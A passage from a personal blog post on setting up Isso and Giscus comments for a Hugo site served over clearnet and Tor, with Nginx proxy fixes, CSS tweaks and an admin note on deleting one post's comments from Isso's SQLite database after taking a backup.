</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">gLoaded</span>) <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">s</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">createElement</span>(<span style="color:#e6db74">&#39;script&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">src</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;https://giscus.app/client.js&#39;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">s</span>.<span style="color:#66d9ef">async</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">true</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">crossOrigin</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;anonymous&#39;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">&#39;data-repo&#39;</span>,<span style="color:#e6db74">&#39;AlipourIm/blog-comments&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">&#39;data-repo-id&#39;</span>,<span style="color:#e6db74">&#39;R_kgDOQGARyA&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">&#39;data-category&#39;</span>,<span style="color:#e6db74">&#39;Comments&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">&#39;data-category-id&#39;</span>,<span style="color:#e6db74">&#39;DIC_kwDOQGARyM4Cw3x-&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">&#39;data-mapping&#39;</span>,<span style="color:#e6db74">&#39;pathname&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">&#39;data-strict&#39;</span>,<span style="color:#e6db74">&#39;0&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">&#39;data-reactions-enabled&#39;</span>,<span style="color:#e6db74">&#39;1&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">&#39;data-emit-metadata&#39;</span>,<span style="color:#e6db74">&#39;0&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">&#39;data-input-position&#39;</span>,<span style="color:#e6db74">&#39;bottom&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">&#39;data-lang&#39;</span>,<span style="color:#e6db74">&#39;en&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">&#39;data-theme&#39;</span>, <span style="color:#a6e22e">gTheme</span>());  <span style="color:#75715e">// initial theme
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#39;giscus-thread&#39;</span>).<span style="color:#a6e22e">appendChild</span>(<span style="color:#a6e22e">s</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Retheme once iframe exists
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">reTheme</span> <span style="color:#f92672">=</span> () =&gt; {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">iframe</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">querySelector</span>(<span style="color:#e6db74">&#39;iframe.giscus-frame&#39;</span>);
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">iframe</span>) <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">iframe</span>.<span style="color:#a6e22e">contentWindow</span><span style="color:#f92672">?</span>.<span style="color:#a6e22e">postMessage</span>(
</span></span><span style="display:flex;"><span>        { <span style="color:#a6e22e">giscus</span><span style="color:#f92672">:</span> { <span style="color:#a6e22e">setConfig</span><span style="color:#f92672">:</span> { <span style="color:#a6e22e">theme</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">gTheme</span>() } } },
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#39;https://giscus.app&#39;</span>
</span></span><span style="display:flex;"><span>      );
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// PaperMod toggle button
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#39;theme-toggle&#39;</span>)<span style="color:#f92672">?</span>.<span style="color:#a6e22e">addEventListener</span>(<span style="color:#e6db74">&#39;click&#39;</span>, () =&gt;
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">setTimeout</span>(<span style="color:#a6e22e">reTheme</span>, <span style="color:#ae81ff">0</span>)
</span></span><span style="display:flex;"><span>    );
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Also react to attribute changes
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">mo</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">MutationObserver</span>(<span style="color:#a6e22e">reTheme</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">mo</span>.<span style="color:#a6e22e">observe</span>(document.<span style="color:#a6e22e">documentElement</span>, { <span style="color:#a6e22e">attributes</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span>, <span style="color:#a6e22e">attributeFilter</span><span style="color:#f92672">:</span> [<span style="color:#e6db74">&#39;class&#39;</span>,<span style="color:#e6db74">&#39;data-theme&#39;</span>] });
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">mo</span>.<span style="color:#a6e22e">observe</span>(document.<span style="color:#a6e22e">body</span>,             { <span style="color:#a6e22e">attributes</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span>, <span style="color:#a6e22e">attributeFilter</span><span style="color:#f92672">:</span> [<span style="color:#e6db74">&#39;class&#39;</span>,<span style="color:#e6db74">&#39;data-theme&#39;</span>] });
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">gLoaded</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">true</span>;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">show</span>(<span style="color:#a6e22e">which</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">showIsso</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">which</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">&#39;isso&#39;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">panelIsso</span>.<span style="color:#a6e22e">style</span>.<span style="color:#a6e22e">display</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">showIsso</span> <span style="color:#f92672">?</span> <span style="color:#e6db74">&#39;block&#39;</span> <span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;none&#39;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">panelGisc</span>.<span style="color:#a6e22e">style</span>.<span style="color:#a6e22e">display</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">showIsso</span> <span style="color:#f92672">?</span> <span style="color:#e6db74">&#39;none&#39;</span>  <span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;block&#39;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">issoBtn</span><span style="color:#f92672">?</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">&#39;aria-pressed&#39;</span>, <span style="color:#a6e22e">showIsso</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">giscBtn</span><span style="color:#f92672">?</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">&#39;aria-pressed&#39;</span>, <span style="color:#f92672">!</span><span style="color:#a6e22e">showIsso</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">showIsso</span>) <span style="color:#a6e22e">loadGiscus</span>();
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">issoBtn</span><span style="color:#f92672">?</span>.<span style="color:#a6e22e">addEventListener</span>(<span style="color:#e6db74">&#39;click&#39;</span>, <span style="color:#a6e22e">e</span> =&gt; { <span style="color:#a6e22e">e</span>.<span style="color:#a6e22e">preventDefault</span>(); <span style="color:#a6e22e">show</span>(<span style="color:#e6db74">&#39;isso&#39;</span>); });
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">giscBtn</span><span style="color:#f92672">?</span>.<span style="color:#a6e22e">addEventListener</span>(<span style="color:#e6db74">&#39;click&#39;</span>, <span style="color:#a6e22e">e</span> =&gt; { <span style="color:#a6e22e">e</span>.<span style="color:#a6e22e">preventDefault</span>(); <span style="color:#a6e22e">show</span>(<span style="color:#e6db74">&#39;giscus&#39;</span>); });
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// default
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#a6e22e">show</span>(<span style="color:#e6db74">&#39;isso&#39;</span>);
</span></span><span style="display:flex;"><span>})();
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">script</span>&gt;
</span></span></code></pre></div><h2 id="nginx-proxy-isso-on-both-sites-and-avoid-the-404-onion-trap">Nginx: proxy Isso on <strong>both</strong> sites (and avoid the 404-onion trap)</h2>
<p>The bug I hit: my <code>.onion</code> server had a regex static block that <strong>won over</strong> the plain <code>/isso/</code> location, so <code>/isso/js/embed.min.js</code> returned <strong>404</strong>.</p>
<p><strong>Fix:</strong> make <code>/isso/</code> a <code>^~</code> prefix location so it beats regex, and place it <strong>above</strong> the static block.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#75715e"># /etc/nginx/sites-enabled/onion-blog  (same idea for the clearnet vhost)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">server</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">listen</span> 127.0.0.1:<span style="color:#ae81ff">3301</span> <span style="color:#e6db74">default_server</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">server_name</span> <span style="color:#e6db74">fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion</span> 127.0.0.1 <span style="color:#e6db74">localhost</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Referrer-Policy</span> <span style="color:#e6db74">no-referrer</span> <span style="color:#e6db74">always</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">add_header</span> <span style="color:#e6db74">X-Content-Type-Options</span> <span style="color:#e6db74">nosniff</span> <span style="color:#e6db74">always</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">add_header</span> <span style="color:#e6db74">X-Frame-Options</span> <span style="color:#e6db74">SAMEORIGIN</span> <span style="color:#e6db74">always</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">root</span> <span style="color:#e6db74">/srv/hugo/mysite/public-onion</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">index</span> <span style="color:#e6db74">index.html</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">location</span> <span style="color:#e6db74">/</span> { <span style="color:#f92672">try_files</span> $uri $uri/ <span style="color:#e6db74">/index.html</span>; }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># /isso -&gt; /isso/
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#f92672">location</span> = <span style="color:#e6db74">/isso</span> { <span style="color:#f92672">return</span> <span style="color:#ae81ff">301</span> <span style="color:#e6db74">/isso/</span>; }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># IMPORTANT: this must beat regex locations below
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#f92672">location</span> <span style="color:#e6db74">^~</span> <span style="color:#e6db74">/isso/</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_pass</span> <span style="color:#e6db74">http://127.0.0.1:8080/</span>;    <span style="color:#75715e"># Isso container/port
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#f92672">proxy_http_version</span> <span style="color:#ae81ff">1</span><span style="color:#e6db74">.1</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Host</span> $host;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-Host</span> $host;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-Proto</span> $scheme;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-For</span> $proxy_add_x_forwarded_for;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_redirect</span> <span style="color:#66d9ef">off</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_read_timeout</span> <span style="color:#e6db74">60s</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># static
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#f92672">location</span> ~<span style="color:#e6db74">*</span> <span style="color:#e6db74">\\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)</span>$ {
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">access_log</span> <span style="color:#66d9ef">off</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Cache-Control</span> <span style="color:#e6db74">&#34;public,</span> <span style="color:#e6db74">max-age=31536000,</span> <span style="color:#e6db74">immutable&#34;</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">try_files</span> $uri =<span style="color:#ae81ff">404</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Reload and smoke test:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo nginx -t <span style="color:#f92672">&amp;&amp;</span> sudo systemctl reload nginx
</span></span><span style="display:flex;"><span>curl -I http://&lt;your-onion-host&gt;/isso/js/embed.min.js   <span style="color:#75715e"># expect 200</span>
</span></span></code></pre></div><blockquote>
<p>If you ever point <code>data-isso</code> to a <strong>different origin</strong>, add CORS headers on that vhost. For same-origin (<code>data-isso=&quot;/isso&quot;</code>), you don’t need CORS.</p></blockquote>
<h2 id="small-css-tweaks-one-color-across-lightdark--spacing">Small CSS tweaks (one color across light/dark + spacing)</h2>
<p>I wanted the same blue for <strong>reply / edit / delete</strong> links and for <strong>Submit / Preview</strong> buttons, in both themes, and a little spacing:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-css" data-lang="css"><span style="display:flex;"><span><span style="color:#75715e">/* put this in your site CSS */</span>
</span></span><span style="display:flex;"><span>:<span style="color:#a6e22e">root</span> { --btn-blue: <span style="color:#ae81ff">#2563eb</span>; } <span style="color:#75715e">/* adjust to taste */</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Isso form buttons */</span>
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">isso-post-action</span> <span style="color:#f92672">input</span><span style="color:#f92672">[</span><span style="color:#f92672">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;submit&#34;</span><span style="color:#f92672">],</span>
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">isso-post-action</span> <span style="color:#f92672">input</span><span style="color:#f92672">[</span><span style="color:#f92672">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;preview&#34;</span><span style="color:#f92672">]</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">background</span>: <span style="color:#a6e22e">var</span>(<span style="color:#f92672">--</span>btn<span style="color:#f92672">-</span><span style="color:#66d9ef">blue</span>) <span style="color:#75715e">!important</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">color</span>: <span style="color:#ae81ff">#fff</span> <span style="color:#75715e">!important</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">border</span>: <span style="color:#66d9ef">none</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">padding</span>: <span style="color:#ae81ff">.5</span><span style="color:#66d9ef">rem</span> <span style="color:#ae81ff">.75</span><span style="color:#66d9ef">rem</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">border-radius</span>: <span style="color:#ae81ff">.4</span><span style="color:#66d9ef">rem</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">cursor</span>: <span style="color:#66d9ef">pointer</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* link actions under comments */</span>
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">isso-comment-footer</span> <span style="color:#f92672">a</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">color</span>: <span style="color:#a6e22e">var</span>(<span style="color:#f92672">--</span>btn<span style="color:#f92672">-</span><span style="color:#66d9ef">blue</span>) <span style="color:#75715e">!important</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">margin-right</span>: <span style="color:#ae81ff">.5</span><span style="color:#66d9ef">rem</span>;       <span style="color:#75715e">/* gives &#34;edit&#34; and &#34;delete&#34; some breathing room */</span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">text-decoration</span>: <span style="color:#66d9ef">none</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">isso-comment-footer</span> <span style="color:#f92672">a</span>:<span style="color:#a6e22e">hover</span> { <span style="color:#66d9ef">text-decoration</span>: <span style="color:#66d9ef">underline</span>; }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* keep name/email/website stacked, slightly larger */</span>
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">isso-auth-section</span> .<span style="color:#a6e22e">isso-input-wrapper</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">display</span>: <span style="color:#66d9ef">block</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">margin</span>: <span style="color:#ae81ff">.35</span><span style="color:#66d9ef">rem</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">isso-auth-section</span> <span style="color:#f92672">label</span> { <span style="color:#66d9ef">font-size</span>: <span style="color:#ae81ff">.95</span><span style="color:#66d9ef">rem</span>; }
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">isso-auth-section</span> <span style="color:#f92672">input</span><span style="color:#f92672">[</span><span style="color:#f92672">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text&#34;</span><span style="color:#f92672">],</span>
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">isso-auth-section</span> <span style="color:#f92672">input</span><span style="color:#f92672">[</span><span style="color:#f92672">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;email&#34;</span><span style="color:#f92672">],</span>
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">isso-auth-section</span> <span style="color:#f92672">input</span><span style="color:#f92672">[</span><span style="color:#f92672">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;url&#34;</span><span style="color:#f92672">]</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">width</span>: <span style="color:#ae81ff">100</span><span style="color:#66d9ef">%</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">font-size</span>: <span style="color:#ae81ff">1</span><span style="color:#66d9ef">rem</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">padding</span>: <span style="color:#ae81ff">.5</span><span style="color:#66d9ef">rem</span> <span style="color:#ae81ff">.6</span><span style="color:#66d9ef">rem</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h2 id="what-changed-the-fixes-i-actually-made">What changed (the fixes I actually made)</h2>
<ol>
<li>
<p><strong>Theme correctness for Giscus.</strong><br>
PaperMod doesn’t add <code>.light</code>—it only toggles <code>.dark</code> and stores <code>pref-theme</code>. I now:</p>
<ul>
<li>read <code>localStorage.pref-theme</code> first,</li>
<li>fall back to class/data-theme, then</li>
<li>fall back to OS preference.<br>
I also re-theme the Giscus iframe on every toggle via <code>postMessage</code>.</li>
</ul>
</li>
<li>
<p><strong>Isso over Tor.</strong><br>
On the <code>.onion</code> vhost, I moved the proxy to a <code>^~ /isso/</code> block so it beats the static regex. That fixed the <code>404</code> on <code>/isso/js/embed.min.js</code>.</p>
</li>
<li>
<p><strong>UI polish.</strong></p>
<ul>
<li>Unified button/link color across themes,</li>
<li>ensured “edit”/“delete” aren’t touching,</li>
<li>kept the author/email/website inputs <strong>stacked</strong>, and</li>
<li>left <strong>Submit</strong>/<strong>Preview</strong> styled and grouped.</li>
</ul>
</li>
</ol>
<h2 id="sanity-check">Sanity check</h2>
<ul>
<li>Toggle the theme: Giscus switches between <code>noborder_light</code> and <code>dark_dimmed</code> without reload.</li>
<li>Open DevTools → Network on onion: <code>/isso/js/embed.min.js</code> loads with <strong>200</strong>.</li>
<li>Switcher buttons swap panels instantly; Giscus only loads when clicked.</li>
</ul>
<h2 id="8-final-notes">8) Final notes!</h2>
<p>I could not fully fix the style of Isso.
CSS is not easy&hellip; drat!</p>
<p>I don&rsquo;t think anyone actually reads the blog, let alone comment on it.
But it felt cool to have a comment section and also RSS for it.
I had a lot of not so fun debugging experience, and will probably work on the styling to make it look right, but for now I&rsquo;m happy with it! ^^</p>
<h1 id="admin-note--delete-all-isso-comments-for-a-single-post">Admin note — Delete all <strong>Isso</strong> comments for a single post</h1>
<p>This note is for future me: how to remove every comment tied to one post in <strong>Isso</strong>.<br>
Tested with SQLite-backed Isso (default). Works whether you serve via clearnet or <code>.onion</code> — because this operates directly on the database.</p>
<hr>
<h2 id="tldr-host-with-sqlite">TL;DR (host with SQLite)</h2>
<blockquote>
<p>Replace the placeholders for <code>DB</code> and <code>POST_URI</code> first.</p></blockquote>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># 0) Variables — edit these two lines for your setup</span>
</span></span><span style="display:flex;"><span>DB<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/var/lib/isso/comments.db&#34;</span>          <span style="color:#75715e"># path to your Isso SQLite DB (check isso.conf: [general] dbpath)</span>
</span></span><span style="display:flex;"><span>POST_URI<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/posts/skin_routine/&#34;</span>         <span style="color:#75715e"># the post&#39;s URI as stored by Isso (often just the path)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 1) Backup (always do this!)</span>
</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">&#34;</span>$DB<span style="color:#e6db74">&#34;</span> <span style="color:#e6db74">&#34;.backup &#39;</span><span style="color:#66d9ef">$(</span>dirname <span style="color:#e6db74">&#34;</span>$DB<span style="color:#e6db74">&#34;</span><span style="color:#66d9ef">)</span><span style="color:#e6db74">/comments.</span><span style="color:#66d9ef">$(</span>date +%F-%H%M%S<span style="color:#66d9ef">)</span><span style="color:#e6db74">.backup.sqlite3&#39;&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 2) Inspect: find the thread row and preview the comments</span>
</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">&#34;</span>$DB<span style="color:#e6db74">&#34;</span> <span style="color:#e6db74">&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">.headers on
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">.mode column
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SELECT id, uri FROM threads WHERE uri LIKE &#39;%&#39; || &#39;</span>$POST_URI<span style="color:#e6db74">&#39; || &#39;%&#39;;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SELECT id, tid, created, author, text
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">FROM comments
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">WHERE tid IN (SELECT id FROM threads WHERE uri LIKE &#39;%&#39; || &#39;</span>$POST_URI<span style="color:#e6db74">&#39; || &#39;%&#39;)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">ORDER BY created DESC
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">LIMIT 25;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 3) Delete all comments for that post (thread)</span>
</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">&#34;</span>$DB<span style="color:#e6db74">&#34;</span> <span style="color:#e6db74">&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">DELETE FROM comments
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">WHERE tid IN (SELECT id FROM threads WHERE uri LIKE &#39;%&#39; || &#39;</span>$POST_URI<span style="color:#e6db74">&#39; || &#39;%&#39;);
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 4) (Optional) Remove the now-empty thread row too</span>
</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">&#34;</span>$DB<span style="color:#e6db74">&#34;</span> <span style="color:#e6db74">&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">DELETE FROM threads WHERE uri LIKE &#39;%&#39; || &#39;</span>$POST_URI<span style="color:#e6db74">&#39; || &#39;%&#39;;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">VACUUM;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 5) Done. Isso usually picks this up automatically.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#    If you&#39;re containerized and want to be safe:</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># docker restart &lt;isso_container_name&gt;</span>
</span></span></code></pre></div><hr>
<h2 id="if-running-isso-in-docker">If running Isso in Docker</h2>
<p>Open a shell in the container, then run the same steps:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker exec -it &lt;isso_container_name&gt; /bin/sh
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Inside the container:</span>
</span></span><span style="display:flex;"><span>DB<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/db/comments.db&#34;</span>    <span style="color:#75715e"># or /data/comments.db, check your image/volume mapping</span>
</span></span><span style="display:flex;"><span>POST_URI<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/posts/skin_routine/&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>sqlite3 <span style="color:#e6db74">&#34;</span>$DB<span style="color:#e6db74">&#34;</span> <span style="color:#e6db74">&#34;.backup &#39;/db/comments.</span><span style="color:#66d9ef">$(</span>date +%F-%H%M%S<span style="color:#66d9ef">)</span><span style="color:#e6db74">.backup.sqlite3&#39;&#34;</span>
